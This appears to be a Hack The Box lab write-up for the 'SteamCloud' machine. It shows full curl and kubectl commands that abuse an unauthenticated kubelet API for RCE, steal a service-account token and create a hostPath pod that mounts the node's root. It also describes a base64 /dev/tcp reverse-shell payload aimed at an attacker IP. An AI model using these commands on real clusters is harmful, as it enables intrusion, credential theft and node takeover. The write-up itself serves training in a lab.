HACK THE BOX · MACHINE WRITEUP

SteamCloud



An unauthenticated kubelet API gives RCE in an nginx pod whose own hostPath mount leaks the user flag directly. A stolen service-account token then creates a second hostPath-mounted pod that hands over root on the node

Linux | Easy | Kubernetes | Pod Escape | RBAC

Made with **SysReptor**



10.129.96.167	gugeldot	2026-06-14
Target IP	Author	Date

STEAMCLOUD · WALKTHROUGH

Contents

01 General information . . . 3
1.1 Executive summary . . . 3
1.2 Kill chain . . . 3
02 Reconnaissance . . . 4
03 Foothold . . . 5
04 Privilege escalation . . . 6
05 Flags . . . 7
06 Notes & lessons . . . 8
07 References . . . 8

1. General information

An unauthenticated kubelet API gives RCE in an nginx pod whose own hostPath mount leaks the user flag directly. A stolen service-account token then creates a second hostPath-mounted pod that hands over root on the node

PLATFORM	Hack The Box
SYSTEM	Linux
DIFFICULTY	Easy
IP	`10.129.96.167`
TAGS	`Kubernetes` `Pod Escape` `RBAC`

1.1 Executive summary

SteamCloud is a Linux machine running a **Kubernetes** (minikube) cluster whose kubelet API (10250) is reachable without authentication. Listing pods reveals the full spec of the running `nginx` pod, which already has a `hostPath` volume mounted at `/root`, so the kubelet's `run` endpoint gives both RCE and an immediate read of the user flag through that pre-existing mount. The same RCE is used to steal the pod's service-account token, which the API server accepts as `system:serviceaccount:default:default` and which turns out to be authorized to create pods cluster-wide. A second pod is created with a `hostPath` volume mounting the node's entire root filesystem, and the same kubelet `run` primitive reads the root flag straight off it.

1.2 Kill chain

1. Port scanning reveals a Kubernetes cluster: kubelet API (10250), etcd (2379/2380) and the API server (8443).
2. `GET https://<IP>:10250/pods` (no authentication required) lists the full spec of every pod, including an `nginx` pod in the `default` namespace whose spec already mounts a `hostPath` volume (`/opt/flag` on the node) at `/root` inside the container.
3. The kubelet's `run` endpoint executes arbitrary commands inside a named container: `POST /run/default/nginx/nginx` with a `cmd` parameter gives RCE as the container's user.

4. Reading `/root/flag` through that RCE returns the user flag directly, through the pod's own pre-existing `hostPath` mount and before any privilege escalation.
5. The same RCE reads the pod's mounted service-account token (`/var/run/secrets/kubernetes.io/serviceaccount/token`) and authenticates to the Kubernetes **API server** (8443) as `system:serviceaccount:default:default`.
6. `kubectl auth can-i --list` with the stolen token shows the service account is authorized to `get`, `create` and `list` pods cluster-wide.
7. A second pod (`pwned`) is created with a `hostPath` volume mounting `/` of the node at `/host`, reusing the already-pulled `nginx:1.14.2` image since the cluster has no outbound internet access.
8. The same kubelet `run` RCE primitive reads `/host/root/root.txt` from the new pod directly: root flag, still without a dedicated privilege-escalation exploit.

2. Reconnaissance

Port scan

```
sudo nmap --open -Pn -sS --min-rate 2500 -p- 10.129.96.167
```

Results:

```
22/tcp open  ssh
2379/tcp open  etcd-client
2380/tcp open  etcd-server
8443/tcp open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown
```

Service & version scan

```
nmap -sCV --open -p<ports> 10.129.96.167
```

```
22/tcp    open  ssh        OpenSSH
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt  Kubernetes API server
10250/tcp open  unknown    kubelet API (unauthenticated)
10256/tcp open  unknown    kube-proxy healthz
```

3. Foothold

The open-port combination (2379/2380, 8443, 10250, 10256) is a signature of a **Kubernetes** cluster. Port **10250** is the kubelet API, and by default it accepts unauthenticated requests:

```
curl -sk https://<IP>:10250/pods
```

This dumps the full spec and status of every pod on the node. Scanning the JSON for the `default` namespace surfaces a single pod, `nginx` (image `nginx:1.14.2`), whose spec already carries something useful:

```
"volumes": [{"name": "flag", "hostPath": {"path": "/opt/flag"}}],
"containers": [{"name": "nginx", "volumeMounts": [{"mountPath": "/root", "name": "flag
"}]}]
```

The pod mounts `/opt/flag` from the node's filesystem straight into `/root` inside the container, so whatever lives in that host directory is readable from inside the pod without any privilege escalation.

The kubelet exposes a second, equally unauthenticated endpoint that executes a command inside a named container:

```
curl -sk https://<IP>:10250/run/default/nginx/nginx \
  --data-urlencode "cmd=bash -c 'echo <base64_revshell> | base64 -d | bash'"
```

A base64-encoded `bash -i >&/dev/tcp/<attacker_ip>/4444 0>&1` payload is tried first through this endpoint, but the stock `nginx:1.14.2` image has no real interactive shell to catch a pty on, so the rest of the engagement drives commands one at a time through the `cmd` parameter instead of a persistent reverse shell. Confirming RCE and pulling the flag exposed by the pod's own mount in the same step:

```
curl -sk https://<IP>:10250/run/default/nginx/nginx -d "cmd=cat /root/flag"
```

Returns the user flag, obtained entirely through the unauthenticated kubelet API before touching the API server or any RBAC permission.

4. Privilege escalation

Stealing the pod's service-account token

Every pod gets a Kubernetes service-account JWT mounted by default. The same kubelet RCE used for the user flag reads it straight out of the `nginx` pod:

```
curl -sk https://<IP>:10250/run/default/nginx/nginx \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
```

Decoding the JWT shows it belongs to `system:serviceaccount:default:default`, the default service account that Kubernetes assigns to any pod that doesn't request a specific one. The API server on port **8443** accepts this token as a bearer credential:

```
TOKEN="eyJhbGciOiJSUzI1NiIs..."
kubectl --server=https://<IP>:8443 --token=$TOKEN --insecure-skip-tls-verify auth can-
i --list
```

Before the stolen token, every request to the API server resolved as `system:anonymous` and came back `403`. With the token, the identity resolves to `system:serviceaccount:default:default`, and the permission list includes a handful of read-only discovery endpoints (`/healthz`, `/livez`, `/readyz`, `/version`, `/openapi`, `/api`, `/apis`) plus, critically:

```
pods   []   []   [get create list]
```

the ability to **create pods** in the `default` namespace.

A second hostPath mount: root of the node

Kubernetes lets a pod spec mount an arbitrary path from the *node's* filesystem into the container via `hostPath`, and nothing in this minikube cluster (no PodSecurityPolicy, no restrictive admission controller) stops it. A new pod is applied that reuses the already-pulled `nginx:1.14.2` image, since the node has no outbound internet access to pull a fresh one, and mounts the node's entire `/` at `/host`:

```
apiVersion: v1
kind: Pod
metadata:
  name: pwned
  namespace: default
spec:
  containers:
  - name: pwned
    image: nginx:1.14.2
    imagePullPolicy: Never
    volumeMounts:
    - mountPath: /host
      name: host
    command: ["sleep", "99999"]
  volumes:
  - name: host
    hostPath:
      path: /
```

```
kubectl --server=https://<IP>:8443 --token=$TOKEN --insecure-skip-tls-verify apply -f
- <<EOF
... (spec above) ...
EOF
# pod/pwned created
```

Once the pod is running, the exact same unauthenticated kubelet `run` RCE, already used twice, is pointed at it to read the node's root filesystem directly:

```
curl -sk https://<IP>:10250/run/default/pwned/pwned -d "cmd=cat /host/root/root.txt"
```

giving the root flag. The whole chain, from unauthenticated port 10250 to root on the node, never needed a dedicated privilege-escalation exploit. It is the same kubelet RCE primitive applied against two different `hostPath` mounts: one already present in the box's own `nginx` pod, and one built with the stolen token.

5. Flags

USER.TXT	ROOT.TXT
b15a••••••••••••	55e4••••••••••••

6. Notes & lessons

- **New techniques:** abusing an unauthenticated kubelet API end-to-end, from RCE, to reading a flag straight off a pod's own `hostPath` mount, to service-account token theft, to a second `hostPath`-mount pod used as a container escape.
- **Interesting:** there is no traditional "privilege escalation" step distinct from the initial foothold. Both flags are read through the same kubelet `run` primitive, just against two different pods and two different `hostPath` mounts: one already present in the box's own `nginx` pod, and one created with the stolen token.

7. References

- Kubernetes kubelet API: unauthenticated RCE via /run
- Kubernetes hostPath volumes: container-to-node escape